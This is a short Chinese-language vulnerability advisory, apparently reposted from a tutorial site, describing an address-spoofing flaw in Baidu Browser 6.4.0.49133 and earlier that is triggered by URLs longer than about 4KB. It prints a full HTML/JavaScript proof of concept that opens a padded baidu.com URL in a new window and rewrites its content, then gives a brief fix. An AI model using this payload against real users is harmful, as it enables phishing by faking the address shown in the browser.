百度浏览器近期发现漏洞，百度浏览器6.4.0.49133以及以前版本伪造任意网址漏洞，伪造任意协议（http/https/ftp...）、域名、网址URL长度大于4KB时处理出错，例如将证明文件保存为c:a.htm并打开，点击连接后可以伪造任意网址。
同时URL过长的时候，会显示“已收藏”图标，估计是处理过长url时逻辑有点小问题漏洞证明：
<html>
<div id='c'> //displaynone
ss
</div>
<a href="#" target="newwin" id='v'>just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>
修复方案：
无效URL及时过滤，以防止伪造网址，谢谢阅读，希望能帮到大家，请继续关注查字典教程网，我们会努力分享更多优秀的文章。
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